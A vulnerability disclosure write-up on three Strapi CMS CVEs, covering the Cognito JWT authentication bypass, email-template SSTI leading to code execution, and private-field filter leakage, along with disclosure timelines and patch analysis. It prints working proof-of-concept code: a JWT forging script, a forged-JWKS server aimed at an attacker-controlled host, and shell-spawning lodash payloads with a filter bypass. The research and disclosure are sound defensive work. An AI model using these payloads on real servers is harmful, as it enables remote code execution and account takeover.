Headline
CVE-2023-22894: Multiple Critical Vulnerabilities in Strapi Versions <=4.7.1
Strapi through 4.5.5 allows attackers (with access to the admin panel) to discover sensitive user details by exploiting the query filter. The attacker can filter users by columns that contain sensitive information and infer a value from API responses. If the attacker has super admin access, then this can be exploited to discover the password hash and password reset token of all users. If the attacker has admin panel access to an account with permission to access the username and email of API users with a lower privileged role (e.g., Editor or Author), then this can be exploited to discover sensitive information for all API users but not other admin accounts.
Overview
Recently, I have decided to start finding vulnerabilities in open source web applications (thank you to the holiday period for giving me the time) and thought I should give Strapi a look. Strapi is the most popular NodeJS based Headless Content Management System (CMS), and playing around with it I definitely see why it is a popular choice to create web APIs quickly. Doing a quick search for Strapi servers on Shodan shows over 19,000 results , which is a lot for a new CMS.
However, after a bit of tinkering with Strapi I discovered three vulnerabilities:
- CVE-2023-22893 : Authentication Bypass for AWS Cognito Login Provider in Strapi Versions <=4.5.6
- CVE-2023-22621 : SSTI to RCE by Exploiting Email Templates in Strapi Versions <=4.5.5
- CVE-2023-22894 : Leaking Sensitive User Information by Filtering on Private Fields in Strapi Versions <=4.7.1
CVE-2023-22894 and CVE-2023-22621 can be chained together in an automated script to hijack Super Admin Users on Strapi then execute code as an unauthenticated user on all Strapi versions <=4.5.5.
I will be doing a deep dive into each of these vulnerabilities individually, so strapi in for a wild ride.
This article will also document how Strapi handled my vulnerability discloses and patched each vulnerability, since it is an important story for other organisations about how to handle vulnerability disclosures correctly . This has been my best experience reporting security vulnerabilities to any organisation by far. Strapi’s transparent communication and rapid responses with me was something I have never seen before, and I do want to give the company a massive shout out.
Now let’s get into the fun stuff and start popping shells, dumping password hashes and hacking into accounts!
Table of Contents
- Overview
- TL;DR
- Disclaimers
- CVE-2023-22893: Authentication Bypass for AWS Cognito Login Provider in Strapi Versions <=4.5.6
- TL;DR Vulnerability Details
- Vulnerability Disclosure Timeline
- How to Exploit Strapi AWS Cognito Authentication Bypass Vulnerability
- A Lesson for Open-Source Project Maintainers
- How Strapi Fixed the Vulnerability
- CVE-2023-22621: SSTI to RCE by Exploiting Email Templates in Strapi Versions <=4.5.5
- TL;DR Vulnerability Details
- Vulnerability Disclosure Timeline
- Reproducing the SSTI Vulnerability
- Discovering and Exploiting this Vulnerability
- Exploiting Lodash Template Injection
- Bypassing the Email Template Validation Check
- Putting it All Together
- My Recommendation for Patching the Vulnerability
- TIL: Logic-less Template Engines Exist
- How Strapi Fixed the Vulnerability
- Setting Strict Delimiter Regex Patterns for Template Engines to Prevent Evaluating Unintended Blocks
- Fixing the Email Template Validation
- CVE-2023-22894: Leaking Sensitive User Information by Filtering on Private Fields in Strapi Versions <=4.7.1
- TL;DR Vulnerability Details
- Vulnerability Disclosure Timeline
- Dumping Sensitive User as an Administrator User
- But Wait, It Gets Worst…
- But Wait, It Is The Worst Case Scenario…
- Why It Took Months To Fix
- Chaining CVE-2023-22621 and CVE-2023-22894 Together to Achieve Unauthenticated RCE
- Indicators of Compromise
- Detecting AWS Cognito Auth Bypass (CVE-2023-22893)
- Detecting Leaking Sensitive User Data (CVE-2023-22894)
- Detecting Remote Code Execution (CVE-2023-22621)
- Conclusion
TL;DR
If you are still using Strapi versions <4.8.0 and you are reading this article…
Please stop reading this article and immediately update your Strapi server!
I also highly recommend going straight to the Indicators of Compromise section and start incident response ! There is a very high chance that a malicious actor has already attempted to compromise your server!
Disclaimers
- I am not affiliated with Strapi or any business partner of Strapi.
- The work I did discovering, reporting and providing advice were done in my personal time.
- This research is not related in anyway to my current employment.
- My sole intent has alway been to protect people and organisations from cyber crime.
CVE-2023-22893: Authentication Bypass for AWS Cognito Login Provider in Strapi Versions <=4.5.6
The first vulnerability I will explain will be the authentication bypass for the AWS Cognito login provider, since it is the easiest to explain (got to build up the suspense).
Whenever I review source code one of the first things I want to check is how authentication and authorisation is implemented. Upon reviewing Strapi’s login provider code authentication, I saw the following code snippet for handling authentication for the AWS Cognito login provider .
**@strapi/plugin-users-permissions/server/services/providers-registry.js**
asynccognito({query}){ // get the id_token constidToken=query.id_token; // decode the jwt token consttokenPayload=jwt.decode(idToken); if(!tokenPayload){ thrownewError(‘unable to decode jwt token’); }else{ return{ username:tokenPayload[‘cognito:username’], email:tokenPayload.email, }; } },
Where was the OAuth token verification?
This meant that an attacker could forge a JWT token to impersonate any user who use AWS Cognito to authenticate! Fortunately this vulnerability only impacts Strapi API user authentication , and this vulnerability cannot be exploited to gain access to the admin panel.
I will explain how you can exploit this vulnerability and discuss how Strapi handled patching this vulnerability. I will also use this opportunity spread my paranoia about external contributions to open-source projects.
TL;DR Vulnerability Details
- CVE: CVE-2023-22893
- CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
- Impacted Versions: >=3.2.1,<4.6.0
- How to Patch: Immediately update your Strapi to version >=4.6.0 ! If you using Strapi 3.x.x or below, IMMEDIATELY UPDATE TO A PATCHED 4.x.x VERSION! Strapi versions 3.x.x reached its end of life support on the December 31st 2022 , and would not receive a patch for this vulnerability!
Vulnerability Disclosure Timeline
Time
Event
2023/01/01 09:14 AM UTC
Disclosed to Strapi this authentication bypass vulnerability.
2023/01/01 08:35 PM UTC
Received an acknowledgement from Strapi that they have received my report ( woah that is fast on New Years day ).
2023/01/04 10:53 AM UTC
Strapi reproduced the vulnerability.
2023/01/09 04:49 PM UTC
Strapi developed a fix and provided me with the nightly build to verify the vulnerability has been patched.
2023/01/10 12:19 PM UTC
From a static analysis, I reported to Strapi that the fix still had an authentication bypass vulnerability by modifying the iss claim.
2023/01/11 11:57 AM UTC
The Strapi developer correctly patched the vulnerability by adding a configurable JWKS url.
2023/01/25 08:21 PM UTC
Strapi released version 4.6.0 that patches this vulnerability.
How to Exploit Strapi AWS Cognito Authentication Bypass Vulnerability
Bypassing the AWS Cognito authentication for Strapi was extremely easy , since the OAuth ID token was never verified . So all you have to do is create a JWT token (does not matter what secret or signing algorithm you use) and set the email claim to be the same as your victim.
That’s it…
You can use the following proof of concept (POC) for generating the JWT.
import jwt
EMAIL_TO_IMPERSONATE="[email protected]"
payload = { "cognito:username": "auth-bypass-example", "email": EMAIL_TO_IMPERSONATE }
jwt_token = jwt.encode(payload, None, algorithm=None) print(f"JWT Token: {jwt_token}")
Then just send that token to /api/auth/cognito/callback?access_token=something&id_token=<JWT PAYLOAD> .
A Lesson for Open-Source Project Maintainers
You might be wondering how did this code get added to Strapi ? It was pointed out to me during my disclosure to Strapi that the vulnerable code was added by an external community member in a pull request. I won’t be referencing the pull request, because I do not want to start a witch hunt. Instead, I want to focus on the importance of reviewing pull requests, especially from external developers adding features to high risk functions within the application.
Coming from a security and development background, I immediately noticed the security vulnerability just from reading the source code. However, the Strapi engineers that reviewed the pull request were focused on asking the community developer to fix the merge conflicts. Their attention was diverted away from verifying if the pull request had secure code and consequently they missed the authentication bypass vulnerability that was introduced into Strapi version 3.2.1.
Going through the original pull request logs that introduced this vulnerability, I saw two massive red flags that should of indicated the pull request should of been reviewed with extra scrutiny.
- Changes were made to how Strapi handles authentication that could introduce a new severe vulnerability (like it did in this case).
- The developer that created the pull request had only created their Github account only a few months earlier.
I bring up the second point because the internet is a beautiful and dangerous place. Anyone with malicious intent could try to inject hidden backdoors into popular applications.
Before I continue my point, I want to make it very clear that I am not accusing that developer that introduced this vulnerability was a malicious actor. It is very clear going through their Github profile at the time of writing this article that they are a passionate developer and just wanted to contribute to Strapi’s development. However, at the time of the pull request (2020) the account was new and there was no evidence of their experience. This could indicate that the developer was new to software development, and could have a lack of secure software development experience. On the other hand, if we switch on our paranoid worst case scenario security hat the newly created account could be a malicious actor trying to insert a hidden backdoor into the software. Malicious actors have tried to commit backdoors into software in the past and it will always be one of their biggest goals for attackers.
Take for an example the hilarious attempt of inserting a backdoor into the PHP code base in 2021 . A malicious actor hacked into PHP’s git server to commit the following code impersonating a PHP developer that would execute arbitrary code when a HTTP server contained the string "zerodium".
From PHP commit c730aa26bd52829a49f2ad284b181b7e82a68d7d
Fortunately, a PHP developer noticed the backdoor the next day and reverted the change . However, the mad lad tried it again!
The point I want to convey to open-source maintainers is that they should be cautious of external contributions and review the changes more carefully. Unlike the above PHP backdoor scenario, a malicious actor could start a pull request that contains a far less obvious backdoor into your application. Saying that, working in security does require a healthy dose of anxiety and the most likely scenario would not be a backdoor attempt. I just wanted take this opportunity to communicate my concerns about the risks of community contributions to open-source software projects.
How Strapi Fixed the Vulnerability
In my initial vulnerability report, I pointed Strapi to AWS’s documentation about verifying Oauth tokens issued by Cognito . Boiling down the documentation into a sentence, to verify JWT tokens issued by AWS Cognito you need to download the corresponding public JSON Web Key Set (JWKS) from the following URL and use the public key to verify the authenticity of the token.
https://cognito-idp.{region}.amazonaws.com/{userPoolId}/.well-known/jwks.json
However, Strapi’s configuration options for the AWS Cognito login provider for versions <4.6.0 did not have an option for storing the AWS region or User Pool ID required to retrieve the corresponding JWKS file. Therefore, a breaking change would have to be introduced to fix this vulnerability.
One of the developers at Strapi did attempt to fix the patch without needing to introduce a breaking change that can be seen here . The following code snippet shows the getCognitoPayload function that was added to verify AWS Cognito ID tokens. You can also test out it yourself by setting up a Strapi version for the nightly build 0.0.0-37d2a1dfcb309a29747db0b97d0231b3a2b026b0 (setup command below).
npx [email protected] testTID2212 --quickstart
The added code that was supposed to verify AWS Cognito tokens.
constgetCognitoPayload=async(idToken,purest)=>{ const{ header:{kid}, payload, }=jwt.decode(idToken,{complete:true});
if(!payload||!kid){ thrownewError(‘The provided token is not valid’); }
const{iss}=payload;
constconfig={
cognito:{
discovery:{
origin:${iss}/.well-known/jwks.json
,
path:’’,
},
},
};
try{
constcognito=purest({provider:’cognito’,config});
// get the JSON Web Key (JWK) for the user pool
const{body:jwk}=awaitcognito(‘discovery’).request();
// Get the key with the same Key ID as the provided token
constkey=jwk.keys.find(({kid:jwkKid})=>jwkKid===kid);
constpem=jwkToPem(key);
// https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-tokens-verifying-a-jwt.html constdecodedToken=awaitnewPromise((resolve,reject)=>{ jwt.verify(idToken,pem,{algorithms:[‘RS256’]},(err,decodedToken)=>{ if(err){ reject(); } resolve(decodedToken); }); }); returndecodedToken; }catch(err){ thrownewError(‘There was an error verifying the token’); } };
However, the above fix was also vulnerable to authentication bypass!
The developer tried to fix the vulnerability by using the iss claim within the JWT to get the URL location to download the public key. However, the iss claim was never verified before being used to download the JWKS file. Therefore, an attacker can modify this claim so the server sends a request to an attacker-controlled server instead. This type of vulnerability is known as a Server-Side Request Forgery (SSRF), and in this use case can be exploited trick the Strapi server verify a forged JWT token using a JWKS from the attacker’s website.
I immediately pointed out the security vulnerability that I noticed by reviewing the source code and followed with the below POC and GIF. The POC will first generate a RSA keyset that is then used to sign a forged JWT and start a web server that will respond with the corresponding JWKS file for the forged JWT.
from jwcrypto import jwk, jwt import json from http.server import SimpleHTTPRequestHandler import socketserver
key = jwk.JWK.generate(kty=’RSA’, size=2048, alg=’RS256’, use=’sig’, kid=’1234authbypass’) public_key = key.export_public(as_dict=True) private_key = key.export_private()
jwks_key = json.dumps({"keys":[public_key]}).encode()
payload = { "cognito:username": "auth-bypass-example", "email": "[email protected]", "iss": “http://192.168.122.254/exploit” }
token = jwt.JWT( header={"alg": "RS256", "kid": "1234authbypass"}, claims=payload )
token.make_signed_token(key) print(f"Auth Bypass Token: {token.serialize()}")
class JWKSHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.protocol_version = 'HTTP/1.1'
self.send_response(200, 'OK')
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(jwks_key)
with socketserver.TCPServer(("", 80), JWKSHandler) as httpd: print(“Running Web Server to Server JWKS”) httpd.serve_forever()
In the following GIF, you can see that my test Strapi server uses the unvalidated iss claim to download the JWKS file that the POC generates and successfully verifies the forged JWT and bypasses authentication.
The Strapi developer immediately updated the code to use a JWKS url setting that is configured on the admin panel that mitigates the risk of this vulnerability being exploited (major kudos for the fast fix). It does not completely eliminate the risk, since a Prototype Pollution vulnerability could exist in the future that can be exploited to change this configuration setting; but this risk is unavoidable because Strapi is built using JavaScript.
CVE-2023-22621: SSTI to RCE by Exploiting Email Templates in Strapi Versions <=4.5.5
The first vulnerability I discovered when I started reviewing Strapi’s code was a critical Server-Side Template Injection (SSTI) vulnerability that can be exploited to execute arbitrary code on the server . If you had super administrator access, you can inject a malicious payload into an email template that bypasses the validation function isValidEmailTemplate (file @strapi/plugin-users-permissions/server/controllers/validation/email-template.js ) that exploits a SSTI vulnerability in sendTemplatedEmail (file @strapi/plugin-email/server/services/email.js ). The function sendTemplatedEmail renders email templates into HTML content using the lodash template engine that evaluates JavaScript code within templates . In addition, an attacker can exploit CVE-2023-22894 to gain super administrator access as an unauthenticated user and then achieve RCE by exploiting this vulnerability .
TL;DR Vulnerability Details
- CVE: CVE-2023-22621
- CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Affected Versions: <=4.5.5
- How to Patch: Immediately update your Strapi to version >=4.5.6 ! If you using Strapi 3.x.x or below, IMMEDIATELY UPDATE TO A PATCHED 4.x.x VERSION! Strapi versions 3.x.x reached its end of life support on the December 31st 2022 , and would not receive a patch for this vulnerability!
Vulnerability Disclosure Timeline
I would like to begin by first highlighting Strapi’s professionalism handling this vulnerability disclosure. I have never received a response to one of my security reports in under 20 minutes , and this has been my best experience reporting a vulnerability to an organisation by far . Derrick from Strapi was transparent with me throughout this process and I want give them personal a shout out for doing vulnerability disclosure correctly.
If your organisation wants to know how to do handle vulnerability disclosure correctly, please use Strapi as an example on how to respond to security vulnerabilities being reported!
Time
Event
2022/12/30 00:15 AM UTC
Successfully exploited the SSTI vulnerability for the first time.
2022/12/30 02:40 AM UTC
Sent the report of the vulnerability to the Strapi team following their security policy.
2022/12/30 02:57 AM UTC
Received an initial response from Strapi acknowledging the report ( woah that was incredibly fast ).
2022/12/30 02:12 PM UTC
Confirmation from Strapi that they successfully reproduced the vulnerability and provided an estimated 1 week timeline to patch the vulnerability due to the holiday period.
2023/01/02 02:39 AM UTC
I sent a request to Mitre to reserve a CVE ID for this vulnerability.
2023/01/03 08:00 PM UTC
Strapi team developed a fix for this vulnerability and released a nightly build for testing the patch.
2023/01/05 12:09 AM UTC
Mitre reserved CVE ID CVE-2023-22621 for this vulnerability.
2023/01/08 08:13 AM UTC
Identified a minor issue with the patch.
2023/01/10 10:00 AM UTC
Strapi team fixed the minor issue with the patch.
2023/01/11 04:00 PM UTC
Strapi released version 4.5.6 with the patch and announced a security warning for previous versions.
2023/01/18 08:05 AM UTC
Informed Strapi about a method of exploiting CVE-2023-22894 to hijack admin accounts, that enables this vulnerability being exploited as an unauthenticated user .
2023/01/19 03:08 PM UTC
Strapi and I both decided to delay the public disclosure of this vulnerability until CVE-2023-22894 has been patched.
Reproducing the SSTI Vulnerability
I used version 4.5.5 of Strapi that was released on the 29th of December 2022 and below is a screenshot of my project setup.
However, you should be able to reproduce the following steps for all versions of Strapi <=4.5.5. You can even exploit the vulnerability without having email configured, since Strapi will still execute sendTemplatedEmail and attempt to send the email using the default sendmail provider.
Login with an administrator account and on the admin panel go to Settings > Users & Permissions Plugin > Email templates.
Modify the Email address confirmation template and add the following payload (I will explain how it works later in this article). The payload will create a folder at /tmp/strapi-confirm and place a file at /tmp/strapi-confirm/rce when triggered.
The POC payload
<%= ${ process.binding("spawn_sync").spawn({"file":"/bin/sh","args":["/bin/sh","-c","mkdir /tmp/strapi-confirm; touch /tmp/strapi-confirm/rce"],"stdio":[{"readable":1,"writable":1,"type":"pipe"},{"readable":1,"writable":1,"type":"pipe"/*<>%=*/}]}).output }
%>
Place the POC payload into the Email Address Confirmation Template and save it.
Modifying the Email Address Confirmation Template
The POC Payload Bypasses the isValidEmailTemplate and saves it
Navigate to Settings > Users & Permissions Plugin > Advanced settings and enable email confirmation. This will trigger the payload when a new user registers. However, you can also exploit the vulnerability by modifying the password reset template and trigger it by using the forgot password feature.
Register a new user using the API to trigger executing the email template with the POC. For an example, I am used local authentication and the following curl command to register a new API user.
curl -X POST -H ‘Content-Type: application/json’ -d ‘{"email":"[email protected]", "username":"rcetrigger", "password": "Super top secret to demo RCE!!1"}’ http://testvm.local:1337/api/auth/local/register
- On the server, navigate to /tmp and see that a folder name strapi-confirm was created with a file named rce inside.
Finally for dramatic effect, the below gif shows me popping a reverse shell on my test VM by exploiting the SSTI vulnerability.
Seems pretty simple?
Well actually finding a working exploit was quite the fun challenge! The following section will explain my process of discovering this vulnerability and how the POC bypasses the validation function isValidEmailTemplate .
Discovering and Exploiting this Vulnerability
To understand how I discovered and exploited the SSTI vulnerability in Strapi, I need to breakdown the different aspects when put together resulted in a successful exploit.
Exploiting Lodash Template Injection
When I started reviewing Strapi, one of the first things that immediately caught my attention was the use of the lodash template engine in sendTemplatedEmail (source code shown below).
'use strict’;
const_=require(‘lodash’);
constgetProviderSettings=()=>{ returnstrapi.config.get(‘plugin.email’); };
constsend=async(options)=>{ returnstrapi.plugin(‘email’).provider.send(options); };
/**
- fill subject, text and html using lodash template
- @param {object} emailOptions - to, from and replyto…
- @param {object} emailTemplate - object containing attributes to fill
- @param {object} data - data used to fill the template
- @returns {{ subject, text, subject }}
*/
constsendTemplatedEmail=(emailOptions={},emailTemplate={},data={})=>{
constattributes=[‘subject’,’text’,’html’];
constmissingAttributes=_.difference(attributes,Object.keys(emailTemplate));
if(missingAttributes.length>0){
thrownewError(
Following attributes are missing from your email template : ${missingAttributes.join(', ')}
); }
consttemplatedAttributes=attributes.reduce( (compiled,attribute)=> emailTemplate[attribute] ?Object.assign(compiled,{[attribute]:_.template(emailTemplate[attribute])(data)}) :compiled, {} );
returnstrapi.plugin(‘email’).provider.send({…emailOptions,…templatedAttributes}); };
module.exports=()=>({ getProviderSettings, send, sendTemplatedEmail, });
I was unfamiliar with using or exploiting the lodash template engine, but reading the documentation I realised that the template engine can evaluate JavaScript code on the server ! I also found this tweet that contains the following payload that can exploit lodash SSTI vulnerabilities to execute arbitrary commands.
<%= ${x=Object}${w=a=new x}${w.type="pipe"}${w.readable=1}${w.writable=1}${a.file="/bin/sh"}${a.args=[“/bin/sh",”-c","id"]}${a.stdio=[w,w]}${process.binding(“spawn_sync”).spawn(a).output} %>
Now that payload looks a little bit confusing, so lets break it down to understand how it works:
The payload creates two empty objects named w and x ( ${x=Object}${w=a=new x} ).
The w is then assigned the readable and writable attributes that both have a value of 1 and the attribute type to pipe to pipe the output of the command that would be executed ( ${w.type="pipe"}${w.readable=1}${w.writable=1} ).
Then a is assigned the following attributes and used as the input parameter for process.binding(“spawn_sync”).spawn that starts a new process and waits until completion.
{ file:"/bin/sh", args:[“/bin/sh",”-c","id"], stdio:[ {"type":"pipe","readable":1,"writable":1}, {"type":"pipe","readable":1,"writable":1} ] }
So that is a neat payload to get RCE by exploiting a lodash SSTI vulnerability. However, when I attempted to use that payload I kept on getting this weird error.
Looking at the request and response using BurpSuite, I realised that email templates were being validated and my payload was being rejected somewhere.
Searching for the keyword "Invalid template", I found the isValidEmailTemplate function that was not letting me pass my payload :(
Bypassing the Email Template Validation Check
Below is the source code for isValidEmailTemplate that was rejecting the original SSTI payload that I simply copied and pasted.
'use strict’;
const_=require(‘lodash’);
constinvalidPatternsRegexes=[/<%^=%>/m,/${([^{}]*)}/m]; constauthorizedKeys=[ 'URL’, 'ADMIN_URL’, 'SERVER_URL’, 'CODE’, 'USER’, 'USER.email’, 'USER.username’, 'TOKEN’, ];
constmatchAll=(pattern,src)=>{ constmatches=[]; letmatch;
constregexPatternWithGlobal=RegExp(pattern,’g’); // eslint-disable-next-line no-cond-assign while((match=regexPatternWithGlobal.exec(src))){ const[,group]=match;
matches.push(_.trim(group)); } returnmatches; };
constisValidEmailTemplate=(template)=>{ for(constregofinvalidPatternsRegexes){ if(reg.test(template)){ returnfalse; } }
constmatches=matchAll(/<%=([^<>%=]*)%>/,template); for(constmatchofmatches){ if(!authorizedKeys.includes(match)){ returnfalse; } }
returntrue; };
module.exports={ isValidEmailTemplate, };
The isValidEmailTemplate preforms two checks for validating a submitted email template:
- It checks that only the <%= %> Lodash template delimiter is used by checking if there is a match to an invalid regex pattern ( [/<%^=%>/m, /${([^{}]*)}/m] ).
Code snippet that checks only <%= %> delimiter is used
for(constregofinvalidPatternsRegexes){ if(reg.test(template)){ returnfalse; } }
- That the key name within the <%= %> delimiter is in the allow list named authorizedKeys .
Code snippet that checks the key name is in an allow list
constmatches=matchAll(/<%=([^<>%=]*)%>/,template); for(constmatchofmatches){ if(!authorizedKeys.includes(match)){ returnfalse; } }
So I had to bypass three different regex patterns.
Regex Pattern
Purpose
/<%[^=]([^<>%]*)%>/m
Checks that <%= %> Lodash template delimiter is the only used delimiter in the template.
/\${([^{}]*)}/m
Rejects using the ES template literal delimiter (example ${ stuffHere } ).
/<%=([^<>%=]*)%>/
Used for extracting the key names from each <%= %> delimiter and comparing to an allow list.
The first regex pattern I had no issues with, since I wanted to use the <%= %> delimiter for triggering my SSTI payload.
However, the second and third regex patterns were far more problematic. The SSTI RCE payload that I discussed in the previous section uses the characters ${} within the payload to evaluate JavaScript code, which was being blocked by the pattern /${([^{}])}/m . Plus, to make things more challenging I had to find a way to trick the /<%=([^<>%=])%>/ pattern to extract a key name in the allow list or nothing to skip the allow list check ( a little bit of foreshadowing ).
Now if you are familiar with using regex patterns, you might of noticed that the patterns in isValidEmailTemplate are similar to the regex pattern for matching any text between delimiters (eg. ${(.*?)} will match to any text on a single line between ${ and } ). In this can an exclude character list (eg. [^{}] ) when matching characters within text.
At a glance, these regex patterns appear to be fine.
However, there is 1 tiny mistake in all of the regex patterns that allowed me to bypass these checks!
The special regex character
matches the previous token between zero and unlimited times . Looking at the regex patterns, the previous regex token in each of them is a character exclusion list . Therefore, characters in the exclusion list would break the grouping of text between the delimiters and results in not matching the regex patterns !
Okay I went a little bit technical there, so I will demonstrate using the /${([^{}]*)}/m pattern. Using regex101 , the below screenshot shows that the pattern correctly identifies text between ${} .
Now if I add a character from the exclude list ( { or } ) the regex pattern does not correctly match the text since it does not match the pattern [^{}] !*
The same issue occurs for the /<%=([^<>%=])%>/ pattern used for extracting key names for comparison to the allow list.*
So if I included one of these characters <>%= in the key name between <%= %> then the filter will fail to extract my payload for comparison with allowed key names !
You can test it out yourself by running the following test code.
const_=require(“lodash”);
constauthorizedKeys=[ 'URL’, 'ADMIN_URL’, 'SERVER_URL’, 'CODE’, 'USER’, 'USER.email’, 'USER.username’, 'TOKEN’, ];
constmatchAll=(pattern,src)=>{ constmatches=[]; letmatch;
constregexPatternWithGlobal=RegExp(pattern,’g’); // eslint-disable-next-line no-cond-assign while((match=regexPatternWithGlobal.exec(src))){ const[,group]=match;
matches.push(_.trim(group)); } returnmatches; };
constvalidKeyInTemplate=(template)=>{ constmatches=matchAll(/<%=([^<>%=]*)%>/,template); for(constmatchofmatches){ if(!authorizedKeys.includes(match)){ returnfalse; } } returntrue; };
letblockedTemplate=’<%= I am blocked %>’; letbypassTemplate=’<%= I am not blocked because I have <>%=! %>’;
lettests=[blockedTemplate,bypassTemplate];
tests.forEach((template)=>{
console.log(template: ${template}
);
if(validKeyInTemplate(template)){
console.log(‘Bypassed the Regex Filter!’);
}else{
console.log('Was blocked :(');
}
});
Putting it All Together
Now that I had discovered a bypass for the regex filters in isValidEmailTemplate , I needed to reorganise my SSTI payload to bypass validation.
Firstly, the lodash SSTI payload in this tweet is just a fancy way to execute process.binding(“spawn_sync”).spawn with the following Object as an input parameter.
{ file:"/bin/sh", args:[“/bin/sh",”-c","id"], stdio:[ {"type":"pipe","readable":1,"writable":1}, {"type":"pipe","readable":1,"writable":1} ] }
Since JavaScript Objects can be declared using {} characters, I could bypass the regex pattern /${([^{}]*)}/m by simply changing the input for process.binding(“spawn_sync”).spawn from a variable that is constructed within the payload to a single Object using {} (shown below).
<%= ${ process.binding("spawn_sync").spawn({"file":"/bin/sh","args":["/bin/sh","-c","mkdir /tmp/strapi-confirm; touch /tmp/strapi-confirm/rce"],"stdio":[{"readable":1,"writable":1,"type":"pipe"},{"readable":1,"writable":1,"type":"pipe"}]}).output }
%>
Finally to bypass validating the key names for the template delimiters, I simply whacked /<>%=/ into the payload. The /* and / characters are multiline comments in JavaScript that ignore any text between the comments. Therefore, I could whack any of the characters in the character exclusion list in /<%=([^<>%=])%>/ so the payload would not be compared to the allow list for valid key names.
The final POC payload
<%= ${ process.binding("spawn_sync").spawn({"file":"/bin/sh","args":["/bin/sh","-c","mkdir /tmp/strapi-confirm; touch /tmp/strapi-confirm/rce"],"stdio":[{"readable":1,"writable":1,"type":"pipe"},{"readable":1,"writable":1,"type":"pipe"/*<>%=*/}]}).output }
%>
My Recommendation for Patching the Vulnerability
Now an obvious patch for this vulnerability would be to fix the regex filter patterns in isValidEmailTemplate to correctly block the SSTI payload. In my opinion, this is the wrong approach for fixing this SSTI vulnerability.
Whenever you are planning a patch to fix a security vulnerability, you always need to have an understanding of the context of the functionality of the vulnerable component and evaluate the risk of implementing each patch strategy .
So going back to why simply fixing the regex patterns in isValidEmailTemplate is a bad idea, it is because it does not eliminate the risk that a malicious payload gets successfully rendered using the lodash template engine in sendTemplatedEmail . In the future, someone else could find a different bypass for the new filter and be able to exploit the SSTI vulnerability in sendTemplatedEmail .
Instead I recommended that Strapi should completely remove using the lodash template engine for rendering email templates . Reading the source code, my understanding of the functionality was to replace placeholders within an email template with string values. Using a template engine to achieve this functionality is overkill, and the same functionality could be achieved by preforming a string replace operation.
However, there is still a risk to replacing placeholders within emails using user supplied values. If HTML special characters are not filtered when they are inserted into the template, then you could potentially modify the content of an email with a completely different message than the original one in the template. This new vulnerability could then be used as a vector for social engineering by constructing phishing emails that are sent from an email address owned by an organisation.
Therefore, my final recommendation to Strapi was to replace using the lodash template engine in sendTemplatedEmail with a string replace method that also sanitise HTML characters in user inputs.
TIL: Logic-less Template Engines Exist
After I provided my recommendation and Strapi patched the vulnerability (explained in the next section), I was made aware of Logic-less Template Engines for NodeJS (eg. Mustache.js and micromustache ). Logic-less Template Engines are a type of template engine that only replaces tags with values and does not allow the execution of code. A Logic-less Template Engine would of been an ideal solution for patching this vulnerability, and I would of recommended it if I knew about them at the time of reporting this vulnerability.
If you are concerned about SSTI vulnerabilities and only need to replace tag values, then I highly recommend using Logic-less template engines.
How Strapi Fixed the Vulnerability
The Strapi development team decided to continue using the lodash template engine, but implement more stringent security controls and filters to prevent exploitation of SSTI via email templates. I expressed my reservations to Strapi about continuing to use the lodash template engine. However, I do understand that this strategy was the best approach for maintaining backwards compatibility and preventing a breaking change to the email functionality. Derrick from Strapi provided me access to the patch that was released as a nightly build with the commit ID 0458e88bce7060b72450181eff292900135c82e1 .
Now, let’s see how Strapi fixed the vulnerability.
Setting Strict Delimiter Regex Patterns for Template Engines to Prevent Evaluating Unintended Blocks
First let’s look at the changes made to the sendTemplatedEmail function.
Changes to the sendTemplatedEmail function
The sendTemplatedEmail now sets the interpolate option for the lodash template engine and the evaluate option. The interpolate option is for specifying the regex pattern for determining the interpolate delimiter that the lodash template engine would use, which is now created by a new function called createStrictInterpolationRegExp that is derived from the data that would is expected to be rendered (the keysDeep function). Let’s take a closer look at these two functions.
packages/core/utils/lib/object-formatting.js
'use strict’;
const_=require(‘lodash’);
constremoveUndefined=(obj)=>_.pickBy(obj,(value)=>typeofvalue!==’undefined’);
constkeysDeep=(obj,path=[])=> !.isObject(obj) ?path.join(‘.’) :.reduce(obj,(acc,next,key)=>_.concat(acc,keysDeep(next,[…path,key])),[]);
module.exports={ removeUndefined, keysDeep, };
packages/core/utils/lib/template.js
'use strict’;
/**
- Create a strict interpolation RegExp based on the given variables’ name
- @param {string[]} allowedVariableNames - The list of allowed variables
- @param {string} [flags] - The RegExp flags */ constcreateStrictInterpolationRegExp=(allowedVariableNames,flags)=>{ constoneOfVariables=allowedVariableNames.join(‘|’);
// 1. We need to match the delimiters: <%= … %>
// 2. We accept any number of whitespaces characters before and/or after the variable name: \s* … \s*
// 3. We only accept values from the variable list as interpolation variables’ name: : (${oneOfVariables})
returnnewRegExp(<%=\\s*(${oneOfVariables})\\s*%>
,flags);
};
/**
- Create a loose interpolation RegExp to match as many groups as possible
- @param {string} [flags] - The RegExp flags */ constcreateLooseInterpolationRegExp=(flags)=>newRegExp(/<%=([\s\S]+?)%>/,flags);
module.exports={ createStrictInterpolationRegExp, createLooseInterpolationRegExp, };
Breaking down what these two functions do, keysDeep reduces the keys in the data to an array. For an example, keysDeep will reduce the Object {name: "Jeff", message: "Hi"} to the array ['name’, ‘message’] . Then the magic happens with createStrictInterpolationRegExp that concatenates these data keys into a single regex pattern to only allow lodash to render interpolate delimiters that contain keys from the data that is intended to be rendered. Using the previous example, the array ['name’, ‘message’] would result in interpolation regex pattern /<%=\s(name|message)\s%>/g .
This is a neat strategy that would prevent lodash from executing any other interpolate delimiter blocks that are not strictly defined in the data. Malicious payloads that somehow do make its way into an email template would not been evaluated since they are not defined in the data that would be rendered. Initially, the only method I could think about how to render a malicious delimiter within an email template is to actually modify the code to remove this protection (which is pretty silly since you basically have RCE if you can do that) .
However
When I first saw the use of the evaluate: false option being set for the lodash template engine that was added into the patch I originally thought,
“Oh neat, you can just disable the lodash template engine from evaluating delimiter keys in JavaScript.”
When I rechecked the documentation for lodash about options for its template engine , I realised that both Strapi’s engineering team and I interpreted the evaluate option incorrectly. Turns out, the evaluate option is for setting the regex pattern for evaluate delimiters , and does not stop it from executing delimiter keys as JavaScript code! This meant if an attacker could directly inject an email template into the database exploiting some other future vulnerability (eg. SQLi), then they could re-exploit the lodash template engine using the escape delimiter ( <%- %> ) to execute code !
